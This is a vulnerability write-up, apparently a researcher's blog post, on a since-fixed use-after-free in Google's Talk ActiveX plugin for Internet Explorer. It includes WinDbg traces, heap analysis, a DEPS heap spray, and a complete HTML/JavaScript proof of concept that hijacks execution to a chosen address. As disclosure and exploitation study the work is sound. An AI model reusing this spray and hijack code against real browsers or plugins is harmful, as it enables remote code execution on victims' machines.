Summary
In 2015 I found a use-after free vulnerability in the "Google Talk ActiveX Plugin" that is used by Google Hangouts.
The activeX is sitelocked, meaning it can only be invoked from certain whitelisted Google domains. To exploit this, an attacker would need an XSS bug on one of these domains.
The bug was reported to Google and has since been fixed.
ActiveX Details
When installing Google Hangouts on IE, the control "Google Talk ActiveX Plugin" is installed. This control can be invoked from the browser and exports 5 methods.
dispinterface GTalkPluginInterface {
properties:
methods:
[id(0x60020000)]
void send([in] BSTR str);
[id(0x60020001), propput]
void onmessage([in] VARIANT* rhs);
[id(0x60020002), propget]
BSTR version();
[id(0x60020003), propget]
BSTR wsconnectinfo();
[id(0x60020004)]
void wsconnectfailed([in] int port);
};
The control does not implement the IObjectSafetySiteLock interface to lock the ActiveX to certain domains.
C:\Program Files (x86)\Microsoft\SiteLock 1.15>sitelist.exe {39125640-8D80-11DC-A2FE-C5C455D89593}
SiteList: Utility to dump domain list from a site-locked ActiveX control.
[1ff8] No bp log location saved, using default.
[000:000] [1ff8] Cpu: 6.58.9, x4, 2890Mhz, 8065MB
[000:000] [1ff8] Computer model: Not available
IObjectSafetySiteLock not implemented.
However, testing shows that the ActiveX is restricted to Google domains. Since it does not use the IObjectSafetySiteLock, I checked if it is registered as a Browser Helper Object in Internet Explorer. That way it can receive navigation events. From debugging and reversing the application I noted that the ActiveX is registered as a Browser Helper Object. It exposes the IObjectWithSite interface which creates a connection point with Internet Explorer. Via this, the ActiveX can get the information of the current URL that is used.
Via the following C++ code, we create an instance of the object and create a breakpoint before the call to IObjectWithSite->SetSite()
#include "stdafx.h"
#include "windows.h"
#include "OCIdl.h"
int _tmain(int argc, _TCHAR* argv[])
{
CoInitialize(NULL);
IUnknown *punk;
LPGUID pclsid;
HRESULT hr = NULL;
//{39125640-8D80-11DC-A2FE-C5 C4 55 D8 95 93}
static const GUID CLSID_GTALK = { 0x39125640, 0x8D80, 0x11DC, { 0xa2, 0xfe, 0xc5, 0xc4, 0x55, 0xd8, 0x95, 0x93 } };
if (FAILED(hr))
printf("error");
hr = CoCreateInstance(CLSID_GTALK, NULL, CLSCTX_SERVER,
IID_IUnknown, (void **)&punk);
if (FAILED(hr))
printf("error");
// Ask the ActiveX object for the IDispatch interface.
IObjectWithSite *pOSite;
hr = punk->QueryInterface(IID_IObjectWithSite, (void **)&pOSite);
if (FAILED(hr))
printf("error");
__asm
{
int 3;
}
//pOSite->GetSite( CLSID_GTALK, NULL);
pOSite->SetSite(NULL);
return 0;
}
We can then use a debugger to step into the function and get its address. We then breakpoint this address in Internet Explorer and use HTML code to load and invoke the control.
Stepping deeper through the function allows us to find the code that compares the current domain to whitelisted domains.
The control implements SetSite which is called by IE which passes in an object. The code below is part of the implemenation. The URL is here passed in the ECX parameter.
0:007> u 5ca85c51
googletalkax+0x5c51:
5ca85c51 51 push ecx
5ca85c52 50 push eax
5ca85c53 e8d88f0000 call googletalkax!DllUnregisterServer+0x39e0 (5ca8ec30)
5ca85c58 8bd8 mov ebx,eax
5ca85c5a 83c408 add esp,8
5ca85c5d 85db test ebx,ebx
5ca85c5f 7465 je googletalkax+0x5cc6 (5ca85cc6)
5ca85c61 8b4e40 mov ecx,dword ptr [esi+40h]
0:007> da poi(ecx)
1123efc0 "http://localhost:9000/testgoogle"
1123efe0 "talkactivexplugin.html"
Stepping deeper through the function allows us to find the code that compares the current domain to whitelisted domains.
.text:5CA8CA20 cmp [ebp+var_8], 10h
.text:5CA8CA24 lea eax, [ebp+var_1C] ; holds the current domain name
.text:5CA8CA27 push dword ptr [esi] ; holds whitelisted domain
.text:5CA8CA29 cmovnb eax, [ebp+var_1C]
.text:5CA8CA2D push eax
.text:5CA8CA2E call sub_5CA957C0
.text:5CA8CA33 add esp, 8
.text:5CA8CA36 test al, al
.text:5CA8CA38 jnz loc_5CA8CB37
.text:5CA8CA3E add esi, 4
.text:5CA8CA41 cmp esi, offset aHostedtalkgadg ; "*hostedtalkgadget.google.com"
.text:5CA8CA47 jl short loc_5CA8CA20
We can use a breakpoint in the debugger to show all whitelisted domains.
0:005> bl
0 e 5ca8ca2e 0001 (0001) 0:**** googletalkax!DllUnregisterServer+0x17de "da poi(esp+4);g"
0:005> g
5cace2c4 "*hostedtalkgadget.google.com"
5cace2e4 "*mail.google.com"
5cace2f8 "*plus.google.com"
5cace30c "*plus.sandbox.google.com"
5cace328 "*talk.google.com"
5cace33c "*talkgadget.google.com"
The following is another code path in the function that does not get hit. This code needs the ”plugin_enable_corp_host” flag to be set in the control. This is presumably for internal use by Google. Then additional checks are performed against other hosts.
.text:5CA8CA9F push offset a_corp_google_c ; "*.corp.google.com"
.text:5CA8CAA4 cmovnb eax, [ebp+var_1C]
.text:5CA8CAA8 push eax
.text:5CA8CAA9 call sub_5CA957C0
.text:5CA8CAAE add esp, 8
.text:5CA8CAB1 test al, al
.text:5CA8CAB3 jnz short loc_5CA8CB0C
.text:5CA8CAB5 cmp [ebp+var_8], 10h
.text:5CA8CAB9 lea eax, [ebp+var_1C]
.text:5CA8CABC push offset a_prod_google_c ; "*.prod.google.com"
.text:5CA8CAC1 cmovnb eax, [ebp+var_1C]
.text:5CA8CAC5 push eax
.text:5CA8CAC6 call sub_5CA957C0
.text:5CA8CACB add esp, 8
.text:5CA8CACE test al, al
.text:5CA8CAD0 jnz short loc_5CA8CB0C
.text:5CA8CAD2 cmp [ebp+var_8], 10h
.text:5CA8CAD6 lea eax, [ebp+var_1C]
.text:5CA8CAD9 push offset a_googlegoro_co ; "*.googlegoro.com"
.text:5CA8CADE cmovnb eax, [ebp+var_1C]
.text:5CA8CAE2 push eax
.text:5CA8CAE3 call sub_5CA957C0
.text:5CA8CAE8 add esp, 8
.text:5CA8CAEB test al, al
.text:5CA8CAED jnz short loc_5CA8CB0C
.text:5CA8CAEF cmp [ebp+var_8], 10h
.text:5CA8CAF3 lea eax, [ebp+var_1C]
.text:5CA8CAF6 push offset a_googleplex_co ; "*.googleplex.com"
.text:5CA8CAFB cmovnb eax, [ebp+var_1C]
.text:5CA8CAFF push eax
.text:5CA8CB00 call sub_5CA957C0
corp.google.com and googleplex.com return a login prompt and appear to be used by only Google employees.
prod.google.com is a non existing domain, presumably an internal domain.
How to trigger the bug
The "onmessage" function takes in a VARIANT that expects a JavaScript callback function that is immediately called by the control. This can be tested via the following code.
<html>
<object
classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr
>
</object>
<script>
sdr.onmessage = sdrcallback;
function sdrcallback(){
alert("callback function is called");
}
</script>
</html>
Callback functions in ActiveX controls can be vulnerable to use-after-free conditions. This happens if the control does not call AddRef() before calling the callback function. The callback function then has a reference to the control which is unaccounted for.
Further analysis shows that it points to freed memory.
The next step was to check the exploitability of the bug. We need to replace the freed memory with our own allocation and see how the data is processed so that it can lead to code execution.
In Gflags.exe we enable “Create User Mode Stack Trace Database”.
Now that we have confirmed that the control uses the same heap as JavaScript, we need to determine the allocation size of the object that is freed.
The next step is to use a heap spray to claim the freed memory before the interaction with the object occurs. For this we need to prime the low fragment heap first in Internet explorer. We do a spray to allocate a lot of chunks of the same size.
The next step would be to turn this into a fully working exploit. Because of DEP and ASLR, we would need to use this bug to create an infoleak. I spent some time looking into this, using
https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf as inspiration, but I could not find a way to proceed next.
If you have any ideas, please contact me to discuss them. I would be very interested into turning this bug into an infoleak.
I tested this scenario by creating a callback function that would delete the control.
<html>
<div id="seandiv">
<object
classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr
>
</object>
</div>
<script>
sdr.onmessage = sdrcallback;
function sdrcallback(){
alert("callback function is called");
//delete div
this.document.getElementById("seandiv").innerHTML = "";
CollectGarbage();
CollectGarbage();
CollectGarbage();
}
</script>
<body>
sdr
</body>
bp OLEAUT32!DispCallFunc "u poi(poi(poi(esp+4))+(poi(esp+8))) L1;gc"
</html>
I got the following crash in the debugger.
(13b4.24a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Users\Sean\AppData\Local\Google\Google Talk Plugin\googletalkax.dll -
eax=00000001 ebx=00000001 ecx=0aabe8b7 edx=00161078 esi=00000000 edi=407a2fb0
eip=13e70ca5 esp=0a13c1b8 ebp=0a13c2cc iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246
googletalkax!DllUnregisterServer+0x6385:
13e70ca5 8b471c mov eax,dword ptr [edi+1Ch] ds:002b:407a2fcc=????????
The EDI register points to invalid memory.
0:008> r
eax=00000001 ebx=00000001 ecx=0aabe8b7 edx=00161078 esi=00000000 edi=407a2fb0
eip=13e70ca5 esp=0a13c1b8 ebp=0a13c2cc iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246
googletalkax!DllUnregisterServer+0x6385:
13e70ca5 8b471c mov eax,dword ptr [edi+1Ch] ds:002b:407a2fcc=????????
0:008> dd edi
407a2fb0 ???????? ???????? ???????? ????????
407a2fc0 ???????? ???????? ???????? ????????
407a2fd0 ???????? ???????? ???????? ????????
407a2fe0 ???????? ???????? ???????? ????????
407a2ff0 ???????? ???????? ???????? ????????
407a3000 ???????? ???????? ???????? ????????
407a3010 ???????? ???????? ???????? ????????
407a3020 ???????? ???????? ???????? ????????
0:008> !heap -p -a edi
address 407a2fb0 found in
_DPH_HEAP_ROOT @ 161000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
40751ccc: 407a2000 2000
51f990b2 verifier!AVrfDebugPageHeapFree+0x000000c2
77691564 ntdll!RtlDebugFreeHeap+0x0000002f
7764ac29 ntdll!RtlpFreeHeap+0x0000005d
775f34a2 ntdll!RtlFreeHeap+0x00000142
75f514ad kernel32!HeapFree+0x00000014
13e88310 googletalkax!DllUnregisterServer+0x0001d9f0
13e6e407 googletalkax!DllUnregisterServer+0x00003ae7
13e6218a googletalkax+0x0000218a
13e6572f googletalkax+0x0000572f
61d0fe01 +0x0000001d
61d24fd6 MSHTML!CBase::PrivateRelease+0x000000bc
61d0d8ee MSHTML!CTxtSite::Release+0x0000001a
61d0d986 MSHTML!CBase::ReleaseInternalRef+0x0000001f
5e6586d3 jscript9!Js::CustomExternalObject::Dispose+0x00000023
5e65869c jscript9!SmallFinalizableHeapBlock::DisposeObjects+0x00000134
5e659880 jscript9!HeapInfo::DisposeObjects+0x000000b0
5e659750 jscript9!Recycler::DisposeObjects+0x0000004a
5e6596fe jscript9!Recycler::FinishDisposeObjects+0x0000001a
5e74f64c jscript9!Recycler::CollectOnConcurrentThread+0x00000087
5e655f36 jscript9!DefaultRecyclerCollectionWrapper::ExecuteRecyclerCollectionFunction+0x00000026
5e655eeb jscript9!ThreadContext::ExecuteRecyclerCollectionFunctionCommon+0x0000003b
5e655e6d jscript9!ThreadContext::ExecuteRecyclerCollectionFunction+0x000000ad
5e656a46 jscript9!Recycler::DoCollectWrapped+0x00000079
5e7fc8dc jscript9!Recycler::Collect<-1073475584>+0x0000004b
5e64c06d jscript9!Js::InterpreterStackFrame::Process+0x00001940
5e64c7ab jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x000001ce
Testing Exploitability
The next step was to check the exploitability of the bug. We need to replace the freed memory with our own allocation and see how the data is processed so that it can lead to code execution.
I used .dvalloc (https://msdn.microsoft.com/en-us/library/windows/hardware/ff562434%28v=vs.85%29.aspx) for this.
When we look at the following code, we can see that there is a path that leads to code execution. The freed memory pointed to by edi+1ch is put into the EAX registry. This memory is then referenced and the first 4 bytes are put into the ESI registry. Then there are some other operations and a function call after which a call is made to ESI+4.
13e70ca5 8b471c mov eax,dword ptr [edi+1Ch]
13e70ca8 8b30 mov esi,dword ptr [eax] ds:002b:00000000=????????
13e70caa 8d850cffffff lea eax,[ebp-0F4h]
13e70cb0 50 push eax
13e70cb1 8d45e4 lea eax,[ebp-1Ch]
13e70cb4 50 push eax
13e70cb5 e8768e0000 call googletalkax!DllUnregisterServer+0xf210 (13e79b30)
13e70cba 8b4f1c mov ecx,dword ptr [edi+1Ch]
13e70cbd 83c408 add esp,8
13e70cc0 50 push eax
13e70cc1 ff5604 call dword ptr [esi+4]
We need to make sure that the function call does not change the value of the ESI register to ensure that we have a path to code execution. The following windbg session shows how I allocated new memory to replace the freed memory and stepped through this code to ensure that this path leads to code execution.
(11cc.2728): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Users\Sean\AppData\Local\Google\Google Talk Plugin\googletalkax.dll -
eax=00000001 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=111e2fb0
eip=59d80ca5 esp=09d7c4f0 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
googletalkax!DllUnregisterServer+0x6385:
59d80ca5 8b471c mov eax,dword ptr [edi+1Ch] ds:002b:111e2fcc=????????
0:008> .dvalloc 2000h
Allocated 2000 bytes starting at 0c690000
0:008> r @edi = 0c690000
0:008> dd edi+1c
0c69001c 00000000 00000000 00000000 00000000
0c69002c 00000000 00000000 00000000 00000000
0c69003c 00000000 00000000 00000000 00000000
0c69004c 00000000 00000000 00000000 00000000
0c69005c 00000000 00000000 00000000 00000000
0c69006c 00000000 00000000 00000000 00000000
0c69007c 00000000 00000000 00000000 00000000
0c69008c 00000000 00000000 00000000 00000000
0:008> p
eax=00000000 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000
eip=59d80ca8 esp=09d7c4f0 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x6388:
59d80ca8 8b30 mov esi,dword ptr [eax] ds:002b:00000000=????????
0:008> .dvalloc 200
Allocated 1000 bytes starting at 0cbd0000
0:008> r @eax = 0cbd0000
0:008> dd eax
0cbd0000 00000000 00000000 00000000 00000000
0cbd0010 00000000 00000000 00000000 00000000
0cbd0020 00000000 00000000 00000000 00000000
0cbd0030 00000000 00000000 00000000 00000000
0cbd0040 00000000 00000000 00000000 00000000
0cbd0050 00000000 00000000 00000000 00000000
0cbd0060 00000000 00000000 00000000 00000000
0cbd0070 00000000 00000000 00000000 00000000
0:008> p
eax=0cbd0000 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000
eip=59d80caa esp=09d7c4f0 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x638a:
59d80caa 8d850cffffff lea eax,[ebp-0F4h]
0:008> p
eax=09d7c510 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cb0 esp=09d7c4f0 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x6390:
59d80cb0 50 push eax
0:008> p
eax=09d7c510 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cb1 esp=09d7c4ec ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x6391:
59d80cb1 8d45e4 lea eax,[ebp-1Ch]
0:008> p
eax=09d7c5e8 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cb4 esp=09d7c4ec ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x6394:
59d80cb4 50 push eax
0:008> p
eax=09d7c5e8 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cb5 esp=09d7c4e8 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x6395:
59d80cb5 e8768e0000 call googletalkax!DllUnregisterServer+0xf210 (59d89b30)
0:008> p
eax=09d7c5e8 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cba esp=09d7c4e8 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x639a:
59d80cba 8b4f1c mov ecx,dword ptr [edi+1Ch] ds:002b:0c69001c=00000000
0:008> p
eax=09d7c5e8 ebx=00000001 ecx=00000000 edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cbd esp=09d7c4e8 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x639d:
59d80cbd 83c408 add esp,8
0:008> p
eax=09d7c5e8 ebx=00000001 ecx=00000000 edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cc0 esp=09d7c4f0 ebp=09d7c604 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216
googletalkax!DllUnregisterServer+0x63a0:
59d80cc0 50 push eax
0:008> p
eax=09d7c5e8 ebx=00000001 ecx=00000000 edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cc1 esp=09d7c4ec ebp=09d7c604 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216
googletalkax!DllUnregisterServer+0x63a1:
59d80cc1 ff5604 call dword ptr [esi+4] ds:002b:00000004=????????
0:008> p
(11cc.2728): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
This shows that we can turn this into code execution if we can replace the freed memory with our own allocation.
Heap Allocation Analysis
In Gflags.exe we enable “Create User Mode Stack Trace Database”.
We need to be able to allocate the same chunk size of memory on the same heap in order to turn this into an exploitable condition. First we determine what heap this freed memory was allocated on.
I created the following HTML to spray some controlled data on the default heap by IE.
<html>
<div id="seandiv">
<object
classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr
>
</object>
</div>
<script>
function sdrcallback(){
alert("callback function is called");
//delete div
this.document.getElementById("seandiv").innerHTML = "";
CollectGarbage();
CollectGarbage();
CollectGarbage();
alert(sdr);
}
//javapscript heap spray to see if we are on same heap as activeX
var seanstring = "seansea"+"n7aaaaaaaaa"+"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
//s -u 0x00000000 L?0xffffffff seansean7
sdr.onmessage = sdrcallback;
</script>
<body></html>
I used windbg to see what heap it is allocated on.
(1348.18dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Users\Sean\AppData\Local\Google\Google Talk Plugin\googletalkax.dll -
eax=00000001 ebx=00000001 ecx=d215f8bc edx=00461078 esi=00000000 edi=3dc19fb0
eip=14d10ca5 esp=09b3bf10 ebp=09b3c024 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246
googletalkax!DllUnregisterServer+0x6385:
14d10ca5 8b471c mov eax,dword ptr [edi+1Ch] ds:002b:3dc19fcc=????????
0:007> !heap -p -a edi
address 3dc19fb0 found in
_DPH_HEAP_ROOT @ 461000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
3dbe1ac4: 3dc19000 2000
5f8290b2 verifier!AVrfDebugPageHeapFree+0x000000c2
77691564 ntdll!RtlDebugFreeHeap+0x0000002f
7764ac29 ntdll!RtlpFreeHeap+0x0000005d
775f34a2 ntdll!RtlFreeHeap+0x00000142
75f514ad kernel32!HeapFree+0x00000014
14d28310 googletalkax!DllUnregisterServer+0x0001d9f0
14d0e407 googletalkax!DllUnregisterServer+0x00003ae7
14d0218a googletalkax+0x0000218a
14d0572f googletalkax+0x0000572f
61d0fe01 +0x0000001d
61d24fd6 MSHTML!CBase::PrivateRelease+0x000000bc
61d0d8ee MSHTML!CTxtSite::Release+0x0000001a
61d0d986 MSHTML!CBase::ReleaseInternalRef+0x0000001f
5e6586d3 jscript9!Js::CustomExternalObject::Dispose+0x00000023
5e65869c jscript9!SmallFinalizableHeapBlock::DisposeObjects+0x00000134
5e659880 jscript9!HeapInfo::DisposeObjects+0x000000b0
5e659750 jscript9!Recycler::DisposeObjects+0x0000004a
5e6596fe jscript9!Recycler::FinishDisposeObjects+0x0000001a
5e74f64c jscript9!Recycler::CollectOnConcurrentThread+0x00000087
5e655f36 jscript9!DefaultRecyclerCollectionWrapper::ExecuteRecyclerCollectionFunction+0x00000026
5e655eeb jscript9!ThreadContext::ExecuteRecyclerCollectionFunctionCommon+0x0000003b
5e655e6d jscript9!ThreadContext::ExecuteRecyclerCollectionFunction+0x000000ad
5e656a46 jscript9!Recycler::DoCollectWrapped+0x00000079
5e7fc8dc jscript9!Recycler::Collect<-1073475584>+0x0000004b
5e64c06d jscript9!Js::InterpreterStackFrame::Process+0x00001940
5e64c7ab jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x000001ce
0:007> s -u 0x00000000 L?0xffffffff seansean7
0eebafa6 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n.
29e66f96 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n.
4b6c6f02 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n.
79700c0a 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n.
0:007> !heap -p -a 0eebafa6
address 0eebafa6 found in
_DPH_HEAP_ROOT @ 461000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
eec0208: eeba7f0 80c - eeba000 2000
5f828e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77690d96 ntdll!RtlDebugAllocateHeap+0x00000030
7764af0d ntdll!RtlpAllocateHeap+0x000000c4
775f3cfe ntdll!RtlAllocateHeap+0x0000023a
61df38ff MSHTML!CHtmRootParseCtx::NailDownChain+0x000004ba
61de7c59 MSHTML!CHtmRootParseCtx::EndElement+0x00000119
61de7b27 MSHTML!CHtmRootParseCtxRouter::EndElement+0x00000017
61dee7b2 MSHTML!CHtml5TreeConstructor::PopElement+0x000000b7
61f896b5 MSHTML!CTextInsertionMode::DefaultEndElementHandler+0x00000035
620fc85b MSHTML!CInsertionMode::HandleEndElementToken+0x0000003d
61df17f5 MSHTML!CHtml5TreeConstructor::HandleElementTokenInInsertionMode+0x00000026
61df16c8 MSHTML!CHtml5TreeConstructor::PushElementToken+0x000000a5
61f891f8 MSHTML!CHtml5Tokenizer::EmitElementToken+0x00000067
61f8a243 MSHTML!CHtml5Tokenizer::RCDATAEndTagName_StateHandler+0x000003bf
61deeec5 MSHTML!CHtml5Tokenizer::ParseBuffer+0x0000012c
61def19b MSHTML!CHtml5Parse::ParseToken+0x00000131
61dee707 MSHTML!CHtmPost::ProcessTokens+0x000006af
61de7f32 MSHTML!CHtmPost::Exec+0x000001e4
620b9a78 MSHTML!CHtmPost::Run+0x0000003d
620b99de MSHTML!PostManExecute+0x00000061
620c1e04 MSHTML!PostManResume+0x0000007b
61e4d397 MSHTML!CDwnChan::OnMethodCall+0x0000003e
61d0e101 MSHTML!GlobalWndOnMethodCall+0x0000016d
61d0db16 MSHTML!GlobalWndProc+0x000002e5
751262fa user32!InternalCallWinProc+0x00000023
75126d3a user32!UserCallWinProcCheckWow+0x00000109
751277c4 user32!DispatchMessageWorker+0x000003bc
7512788a user32!DispatchMessageW+0x0000000f
6366f668 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000464
636a25b8 IEFRAME!LCIETab_ThreadProc+0x0000037b
7531d6fc iertutil!_IsoThreadProc_WrapperToReleaseScope+0x0000001c
5f893991 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x00000094
We now know that the activeX control uses the same Heap as JavaScript which is a good thing for exploitation.
Determining Allocation Size
Now that we have confirmed that the control uses the same heap as JavaScript, we need to determine the allocation size of the object that is freed.
To do this we need to disable all gflags settings, except for usermode stack dbs.
We also need to breakpoint the address that it crashes on.
Bu googletalkax!DllUnregisterServer+0x6385 "!heap -p -a edi;g"
Bu googletalkax!DllUnregisterServer+0x6385 "!heap -p -a edi;g"
70760ca5 8b471c mov eax,dword ptr [edi+1Ch] ds:002b:078f8a44=a48a8f07
0:005> !heap -p -a edi
address 078f8a28 found in
_HEAP @ 730000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
078f8a10 000d 0000 [00] 078f8a28 00050 - (busy)
? googletalkax!DllUnregisterServer+43db0
From this we can see that the freed object is 0x50 bytes in size.
Heap Spraying
The next step is to use a heap spray to claim the freed memory before the interaction with the object occurs. For this we need to prime the low fragment heap first in Internet explorer. We do a spray to allocate a lot of chunks of the same size.
We do this via the following JavaScript function. This creates a substring of 0x50 bytes minus the 4 byte header that is used for BSTR objects, minus the 2 terminating NULL bytes for the unicode string. This value is then devided by 2 since it is stored as a Unicode string. As s result, the string will hold exactly 0x50 bytes in memory.
var largechunk = unescape("sean3");
var spray = new Array();
function dospray()
{
while (largechunk.length < 0x10000) largechunk += largechunk;
for (var i = 0; i < 0x200; i++)
{
spray[i] = largechunk.substring(0,(0x50-6)/2);
}
}
When this is done we can use Corelan's DEPS spray technique to implement a precision spray. (https://www.corelan.be/index.php/2013/02/19/deps-precise-heap-spray-on-firefox-and-ie10/ ).
This will spray the heap and make the memory at 0x20302228 hold our data.
function corelan_deps_spray()
{
var div_container = document.getElementById("corelanspraydiv");
div_container.style.cssText = "display:none";
junk = unescape("%u615d%u6161");
while (junk.length < 0x80000) junk += junk;
for (var i = 0; i < 0x500; i++)
{
var obj = document.createElement("button");
obj.title = junk;
div_container.appendChild(obj);
}
}
Proof of Concept
With all this information, we can create the following proof of concept code that will execute at the address of our choice.
<html>
<div id="seandiv">
<object
classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr
>
</object>
</div>
<div id="corelanspraydiv"></div>
<script>
var largechunk = unescape("%u2030%u2228");
var spray = new Array();
function dospray()
{
while (largechunk.length < 0x10000) largechunk += largechunk;
for (var i = 0; i < 0x200; i++)
{
spray[i] = largechunk.substring(0,(0x50-6)/2);
}
}
function corelan_deps_spray()
{
var div_container = document.getElementById("corelanspraydiv");
div_container.style.cssText = "display:none";
junk = unescape("%u615d%u6161");
while (junk.length < 0x80000) junk += junk;
for (var i = 0; i < 0x500; i++)
{
var obj = document.createElement("button");
obj.title = junk;
div_container.appendChild(obj);
}
}
function sdrcallback(){
//alert("callback function is called!"); //use this to attach debugger and bu googletalkax!DllUnregisterServer+0x6385
this.document.getElementById("seandiv").innerHTML = "";
CollectGarbage();
CollectGarbage();
CollectGarbage();
//spray the heap with 0x50 size objects, this will overwrite the freed chunk
dospray();
//interact with the object
var ver = sdr.version;
sdr.send("sean");
}
//prime the lfh heap
dospray();
//spray reliable so location at 0x20302228 holds our data
corelan_deps_spray();
//invoke callback function
sdr.onmessage = sdrcallback;
</script>
<body>
</body>
</html>
This code will do a DEPS heap spray to reliably set the memory at 0x20302228 to value 0x61616161.
Then the code in "onmessage" will free the object and spray the heap with objects of the same size ( 0x50 bytes). The stale pointer will now point to our allocated memory, which contains pointers to the 0x20302228 address. The following ASM code is executed when the stale pointer is accessed.
13e70ca5 8b471c mov eax,dword ptr [edi+1Ch]
13e70ca8 8b30 mov esi,dword ptr [eax]
13e70caa 8d850cffffff lea eax,[ebp-0F4h]
13e70cb0 50 push eax
13e70cb1 8d45e4 lea eax,[ebp-1Ch]
13e70cb4 50 push eax
13e70cb5 e8768e0000 call googletalkax!DllUnregisterServer+0xf210 (13e79b30)
13e70cba 8b4f1c mov ecx,dword ptr [edi+1Ch]
13e70cbd 83c408 add esp,8
13e70cc0 50 push eax
13e70cc1 ff5604 call dword ptr [esi+4]
